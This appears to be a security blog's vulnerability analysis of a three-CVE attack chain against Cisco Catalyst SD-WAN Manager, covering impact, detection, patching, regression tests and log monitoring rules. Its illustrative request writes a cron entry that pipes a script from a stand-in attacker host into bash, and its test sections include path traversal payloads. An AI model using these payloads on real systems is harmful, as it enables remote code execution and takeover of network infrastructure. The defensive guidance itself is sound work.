Vulnerability Analysis

CVE-2026-20122 / CVE-2026-20128 / CVE-2026-20133: The Cisco SD-WAN Manager Attack Chain & How to Fix It

Executive Summary

Three actively exploited vulnerabilities in Cisco Catalyst SD-WAN Manager — CVE-2026-20133 (information disclosure), CVE-2026-20122 (arbitrary file overwrite), and CVE-2026-20128 (credential exposure via recoverable password storage) — form a chained attack sequence that gives adversaries full administrative control over enterprise SD-WAN infrastructure. CISA added all three to its Known Exploited Vulnerabilities (KEV) catalog on April 20, 2026, setting a federal remediation deadline of May 11, 2026. There are no workarounds; patching is mandatory.

1. What Is This Vulnerability?

Cisco Catalyst SD-WAN Manager (formerly vManage) is the centralized management plane for Cisco's SD-WAN fabric, controlling routing policies, device configuration, telemetry, and access control across potentially thousands of WAN edge devices. Compromising vManage is effectively equivalent to owning every router and branch site in the SD-WAN deployment.

The three CVEs work independently but are especially dangerous as a chain:

CVE Type CVSS Auth Required
CVE-2026-20133 Information Disclosure Medium None (remote)
CVE-2026-20122 Arbitrary File Overwrite via API High (7.1) Low (read-only API credentials)
CVE-2026-20128 Credential Exposure / Privilege Escalation High (7.5) Low (local, low-privileged)

CVE-2026-20133 — Sensitive Information Exposure

The first link in the chain exposes confidential network configuration data to unauthenticated remote actors. The exact endpoint is not fully disclosed, but the flaw allows attackers to enumerate SD-WAN topology, device inventory, and potentially partial credential artifacts without any login. This gives an attacker enough context to craft targeted follow-on requests.

CVE-2026-20122 — Arbitrary File Overwrite

Rooted in improper file handling in the vManage REST API, this vulnerability lets an authenticated attacker — even one with only read-only API access — overwrite arbitrary files on the SD-WAN Manager server. Because vManage processes are privileged, overwriting the right configuration or startup file can elevate the attacker to vmanage user privileges.

Conceptual attack pattern:

PUT /dataservice/template/device/config HTTP/1.1
Host: vmanage.corp.internal
Authorization: Bearer <stolen_read_only_token>
Content-Type: application/json

{
  "filepath": "../../etc/cron.d/backdoor",
  "content": "* * * * * root curl http://attacker.io/shell.sh | bash"
}

(Exact API path and parameters are simplified for illustration; CVE disclosure withholds precise details)

CVE-2026-20128 — Recoverable Password Storage in DCA

The Data Collection Agent (DCA) feature stores credentials in a format that is easily recoverable by a low-privileged local user. Once an attacker has a foothold on the vManage server — potentially via CVE-2026-20122 — they can extract DCA credential files from disk, recover plaintext (or easily reversible) passwords, and authenticate as the DCA user to pivot laterally across SD-WAN Manager deployments or downstream managed devices.

Attack Vector

The full chain looks like this:

Step 1: Recon via CVE-2026-20133
  → Unauthenticated remote attacker queries exposed API endpoint
  → Retrieves SD-WAN topology, device info, API token hints

Step 2: API Abuse via CVE-2026-20122
  → Attacker obtains low-privilege (read-only) API credentials
    (phished, credential-stuffed, or guessed from Step 1 artifacts)
  → Sends crafted API request to overwrite sensitive system file
  → Achieves vmanage-level code execution or persistence

Step 3: Credential Theft via CVE-2026-20128
  → Attacker reads DCA credential storage from local filesystem
  → Recovers DCA username and password
  → Authenticates to other SD-WAN Manager nodes in the cluster
  → Gains administrative control over entire SD-WAN fabric

Real-World Impact

As of March–April 2026, third-party researchers have observed high-volume exploitation attempts against internet-facing vManage instances, with evidence of web shell deployment following successful file overwrites. Nation-state and financially motivated actors are both reported to be leveraging this chain. Compromising SD-WAN Manager gives attackers the ability to redirect traffic, intercept communications, disable branch connectivity, and pivot into the corporate LAN from managed WAN edge devices.

2. Who Is Affected?

All organizations running Cisco Catalyst SD-WAN Manager (vManage) on versions prior to 20.18 are potentially at risk.

Specific scope:

  • CVE-2026-20122: All vManage versions prior to the patched release train. Internet-exposed vManage instances are highest risk; internal deployments are also at risk from insider or lateral-movement scenarios.
  • CVE-2026-20128: All vManage versions prior to 20.18. Cisco explicitly notes that version 20.18 and later are not affected by this CVE.
  • CVE-2026-20133: Unauthenticated reach makes any internet-reachable vManage instance exploitable for reconnaissance.

Highest-risk environments:

  • vManage management UI or API exposed directly to the internet (no VPN/jump host)
  • Multi-tenant SD-WAN deployments (managed service providers)
  • Environments where "read-only" API accounts are shared across teams
  • DCA feature actively enabled and in use

3. How to Detect It (Testing)

Manual Testing Steps

Testing for CVE-2026-20133 (Information Disclosure):

  1. From an unauthenticated session, attempt to query known vManage REST API endpoints for device inventory or topology data (e.g., GET /dataservice/device).
  2. Check whether a 200 OK response with device data is returned without an Authorization header.
  3. If data is returned unauthenticated, the system is vulnerable.

Testing for CVE-2026-20122 (File Overwrite):

  1. Log in with a low-privilege read-only API account.
  2. Issue a PUT or POST to file-handling API endpoints with a path traversal payload in the filename/filepath parameter.
  3. Check if the operation succeeds (HTTP 200/201) — a successful response to a traversal payload indicates the vulnerability is present.
  4. Inspect the target file location after the request to confirm write occurred.

Testing for CVE-2026-20128 (Credential Exposure):

  1. Gain a low-privilege shell on the vManage server (e.g., via SSH with a standard operator account).
  2. Navigate to DCA credential storage paths (typically under /usr/share/viptela/... or similar).
  3. Attempt to read credential files with standard user permissions.
  4. If readable and credentials are in plaintext or a trivially reversible encoding, the system is vulnerable.

Automated Scanning

Tool: Tenable Nessus / Tenable.io

  • Plugin ID for vManage information disclosure can be found by searching for Cisco SD-WAN in the Nessus plugin feed.
  • Run a credentialed scan against your vManage instance and filter results by CVE-2026-20122, CVE-2026-20128, CVE-2026-20133.

Tool: Cisco PSIRT Advisory Scanner

  • Cisco's advisory page (see References) includes version-check logic.
  • Run show version on vManage and cross-reference with the affected version table.

Tool: Nuclei (ProjectDiscovery)

# Check for published templates:
nuclei -u https://vmanage.your-domain.com \
       -t cves/2026/ \
       -severity high,critical \
       -o nuclei-vmanage-results.txt
  • Expected output: A match on CVE-2026-20133 templates if the endpoint is unauthenticated-accessible.

Tool: Burp Suite Pro

  • Set up Burp as a proxy for vManage API traffic.
  • Use the Active Scan feature targeting the REST API with path traversal payloads.
  • Look for unexpected 200 OK responses on file-write endpoints using traversal sequences (../, %2F%2E%2E%2F, etc.).

Code Review Checklist

For organizations that have extended or customized vManage APIs:

  • Check all file I/O operations for path traversal validation (ensure paths are canonicalized and confined to expected directories)
  • Verify API authorization middleware applies role-based checks before permitting write operations — not just read
  • Confirm DCA credentials are stored using modern key management (e.g., HashiCorp Vault or OS-level secret store) rather than recoverable flat files
  • Search codebase for patterns like open(user_input), writeFile(req.body.path, ...), os.path.join(base, user_path) without canonicalization
  • Check that API endpoints returning device topology require authentication headers

4. How to Fix It (Mitigation)

Step-by-Step Remediation

There are no workarounds for these vulnerabilities. Patching is the only complete fix.

  1. Identify your current vManage version by running:

    vManage# show version

    Note the software version and compare to Cisco's fixed-release table in the advisory (see References).

  2. Upgrade to the first fixed release for your version train. Key guidance:

    • If you are on the 20.18.x train or later, CVE-2026-20128 is not present — verify CVE-2026-20122 and CVE-2026-20133 fix status for your exact build.
    • For all other trains, upgrade to the patched release as listed in Cisco's advisory (cisco-sa-sdwan-authbp-qwCX8D4v).
    • Download patches from software.cisco.com (requires valid service contract).

  3. Rotate all API credentials and DCA credentials immediately, even before patching completes:

    • Revoke all existing API tokens in the vManage settings.
    • Re-issue credentials only to users who currently require access.
    • Enforce MFA on the vManage management UI if your release supports it.

  4. Restrict vManage network exposure:

    • If vManage is reachable directly from the internet, immediately place it behind a VPN or bastion host.
    • Apply ACLs or security group rules to permit access only from known management IP ranges.

  5. Audit for indicators of compromise before patching (see Section 5 for specifics):

    • Check for unexpected files in sensitive directories.
    • Review authentication logs for anomalous API activity from unusual source IPs.

  6. Apply the patch following Cisco's upgrade procedure for vManage (typically: upload software, activate, wait for cluster sync, reboot controller nodes sequentially).

  7. Verify patch success by re-running version check and automated scans post-upgrade.

Configuration Hardening (Interim & Permanent)

# On vManage — restrict API access to named source addresses only
# (vManage CLI — exact syntax varies by version)
system
  allowed-hosts <management-vlan-prefix>/<mask>
!

# Disable the DCA feature if not actively needed
# Navigate: vManage → Administration → Settings → Data Collection Agent → Disable

5. How to Test the Fix (Validation)

Regression Test Scenarios

  • Scenario A: Replay the unauthenticated GET request for device inventory data. Expected result: 401 Unauthorized or 403 Forbidden — no device data returned without credentials.
  • Scenario B: With a read-only API token, re-attempt path traversal payloads on file-write endpoints. Expected result: 400 Bad Request or 403 Forbidden — file write rejected.
  • Scenario C: As a low-privilege local user, attempt to read DCA credential files. Expected result: Permission denied — credentials inaccessible.
  • Scenario D: Normal vManage operations (device provisioning, policy push, monitoring dashboards) function as expected — no regression.

Security Test Cases

Test Case 1: CVE-2026-20133 — Unauthenticated Information Disclosure

  • Precondition: vManage patched and restarted
  • Steps: Issue GET /dataservice/device with no Authorization header from an external IP
  • Expected Result: 401 Unauthorized, no device data in body

Test Case 2: CVE-2026-20122 — Path Traversal File Overwrite

  • Precondition: Read-only API account, patched vManage
  • Steps: Issue PUT to file-handling endpoint with ../../etc/passwd in filepath parameter
  • Expected Result: Request rejected; no file modification occurs; error logged in vManage audit log

Test Case 3: CVE-2026-20128 — DCA Credential Recoverability

  • Precondition: Patched vManage, active DCA feature
  • Steps: As operator-level local user, attempt to read DCA credential files
  • Expected Result: Permission denied; files owned/readable only by root or vmanage service account

Automated Validation Test (Python example)

import requests

VMANAGE_URL = "https://vmanage.your-domain.com"

def test_unauthenticated_disclosure():
    """CVE-2026-20133: Verify no data returned without auth"""
    resp = requests.get(f"{VMANAGE_URL}/dataservice/device", verify=False, timeout=10)
    assert resp.status_code in (401, 403), \
        f"FAIL: Got {resp.status_code} — unauthenticated access may still be possible"
    print("PASS: Unauthenticated device list request correctly rejected")

def test_file_overwrite_blocked(token: str):
    """CVE-2026-20122: Verify path traversal is rejected"""
    headers = {"Authorization": f"Bearer {token}"}
    payload = {"filepath": "../../etc/cron.d/testfile", "content": "test"}
    resp = requests.put(
        f"{VMANAGE_URL}/dataservice/template/device/config",
        json=payload, headers=headers, verify=False, timeout=10
    )
    assert resp.status_code in (400, 403, 404), \
        f"FAIL: Got {resp.status_code} — path traversal may succeed"
    print("PASS: Path traversal file overwrite correctly rejected")

if __name__ == "__main__":
    test_unauthenticated_disclosure()
    # Provide a valid read-only token for the second test:
    # test_file_overwrite_blocked("your-readonly-api-token")

6. Prevention & Hardening

Best Practices

Practice 1 — Enforce least-privilege API access. API tokens in vManage should be scoped to the minimum required role. Read-only tokens should be limited to read operations only, and file-related API operations should require elevated permissions with explicit approval workflows. Audit your API consumer inventory quarterly.

Practice 2 — Never expose SD-WAN management planes to the internet. vManage should never be reachable on a public IP without a VPN or zero-trust proxy in front of it. This alone would have significantly reduced exposure to CVE-2026-20133 — an unauthenticated information disclosure that requires network reachability.

Practice 3 — Store secrets in dedicated vaults, not flat files. CVE-2026-20128 exists because credentials were stored in a recoverable format on disk. In hardened environments, service-to-service credentials should be stored in a secrets manager (HashiCorp Vault, AWS Secrets Manager, CyberArk PAM) with short-lived dynamic credentials, eliminating the possibility of static credential theft.

Practice 4 — Keep vManage under continuous patch management. Cisco's SD-WAN Manager regularly receives security advisories. Subscribe to Cisco PSIRT alerts (tools.cisco.com/security/center/psirt) and enforce a 30-day maximum patch window for high/critical advisories, and 7 days for those that are actively exploited.

Practice 5 — Enforce MFA on all management plane access. Whether console, web UI, or API, all access to vManage should require multi-factor authentication. This limits the blast radius of stolen credentials even if they are recovered via CVE-2026-20128.

Monitoring & Detection

Set up alerting for the following indicators of post-exploitation activity on vManage:

# Suspicious patterns to alert on in vManage audit logs and syslog:

# 1. API calls from unexpected source IPs
source_ip NOT IN [management_subnet] AND api_request=true → ALERT

# 2. Write operations from read-only accounts
user_role=read_only AND http_method IN [PUT, POST, DELETE] → ALERT

# 3. Path traversal sequences in API request parameters
request_body CONTAINS "../" OR "%2e%2e%2f" → ALERT

# 4. Unexpected new files in /etc/cron.d/, /var/www/html/, or viptela config dirs
File integrity monitoring: monitor /etc/cron.d/, /usr/share/viptela/

# 5. DCA credential files accessed by non-root processes
auditd rule: -w /path/to/dca/credentials -p r -k dca_cred_read

Additionally, forward all vManage logs to your SIEM and create correlation rules for:

  • Authentication failures followed by successful API calls from the same IP
  • Unusually high volume of API requests from a single token
  • DCA authentication activity outside business hours

References

Latest from the blog

See all →